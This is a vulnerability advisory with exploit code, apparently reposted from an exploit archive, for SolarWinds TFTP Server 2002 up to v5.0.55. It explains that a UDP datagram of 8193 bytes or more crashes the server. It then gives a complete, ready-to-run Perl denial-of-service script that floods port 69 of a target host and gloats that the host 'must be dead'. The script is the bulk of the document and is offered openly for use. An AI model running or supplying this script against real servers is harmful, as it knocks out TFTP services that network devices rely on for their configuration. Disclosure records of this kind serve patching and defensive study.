`#############################################
#Product: TFTP Server 2002 Standard Edition #
#Authors: SolarWinds [www.SolarWinds.net] #
#Vulnerable versions: v.5.0.55 and bellow #
#Vulnerability: buffer overflow #
#Bug&exploit by D4rkGr3y [www.dhgroup.org] #
#############################################
#Overview#--------------------------------------------------------------#
From TFTP Server help:
"Many network devices require a TFTP Server to load their initial
operating system or configuration. Many routers, switches, hubs,
X-terminals, printers, terminal servers, etc need a TFTP server
in order to load their initial configuration".
#Description#------------------------------------------------------------#
First, TFTP - Trivial File Transfer Protocol. This is not FTP! TFTP and
FTP are different protocols - it's very important! TFTP uses UDP protocol
for it's work and it doesn't support some FTP's stuff. Directory travel
for example. U can use TFTP for file transfer only. Read RFC 1350 for
more details.
#Bug#--------------------------------------------------------------------#
It's possible to crash TFTP server using UDP datagram with a large size
(8193b and above). Vulnerable application on remote host will be closed
with error message:
Run-time error '10040':
The datagram is too large to fit into the buffer and is truncated.
#Exploit#----------------------------------------------------------------#
#!/usr/bin/perl
#TFTP Server remote DoS exploit by D4rkGr3y
use IO::Socket;
$host = "vulnerable_host";
$port = "69";
$data = "q";
$num = "8193";
$buf .= $data x $num;
$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error: $@\n";
$ipaddr = inet_aton($host);
$portaddr = sockaddr_in($port, $ipaddr);
send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send: $!\n";
print "Now, '$host' must be dead :)\n";
#EOF
Best regards www.dhgroup.org
D4rkGr3y icq 540981
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation